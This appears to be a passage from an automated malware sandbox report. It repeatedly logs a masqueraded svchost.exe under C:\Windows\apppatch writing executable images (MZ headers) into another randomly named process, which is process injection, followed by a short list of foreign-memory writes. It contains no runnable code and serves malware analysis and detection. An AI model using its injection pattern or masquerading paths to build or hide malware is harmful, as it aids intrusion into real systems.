    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2572000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: DE2000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 11A2000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 24E2000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 1412000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2FC2000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2832000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 22D2000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 26D2000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 3082000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2582000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 932000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2C02000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2922000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 23C2000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 9E2000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2F12000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2372000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2EF2000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2522000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 22C2000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 1FC2000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2112000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2272000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 28B2000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 24E2000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2972000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 26E2000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2F82000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 662000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 6F2000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 752000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 29E2000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2CB2000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2D12000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 3152000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2382000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 28E2000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 15A2000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 1072000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2752000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: DD2000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 30C2000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 8C2000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 982000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 1482000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: EB2000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2EB2000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2892000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2152000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 29E2000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2A52000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2A52000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 972000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2132000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 792000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2132000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2CA2000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2572000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2E42000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 1FB2000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 25D2000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2E72000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2CE2000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: C02000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2E62000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 28B2000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 29C2000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 21F2000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 1422000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2792000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2EE2000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 26D2000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2C62000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2D12000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2D72000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2472000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 23D2000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2162000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 3122000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2062000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 29B2000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 29F2000 value starts with: 4D5AJump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2782000 value starts with: 4D5AJump to behavior
    Writes to foreign memory regions
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: C10000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: C11000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: C12000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: C65000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: AB0000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: AB1000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: AB2000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: B05000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 23F0000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 23F1000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 23F2000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2445000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2260000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2261000Jump to behavior
    Source: C:\Windows\apppatch\svchost.exeMemory written: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe base: 2262000Jump to behavior
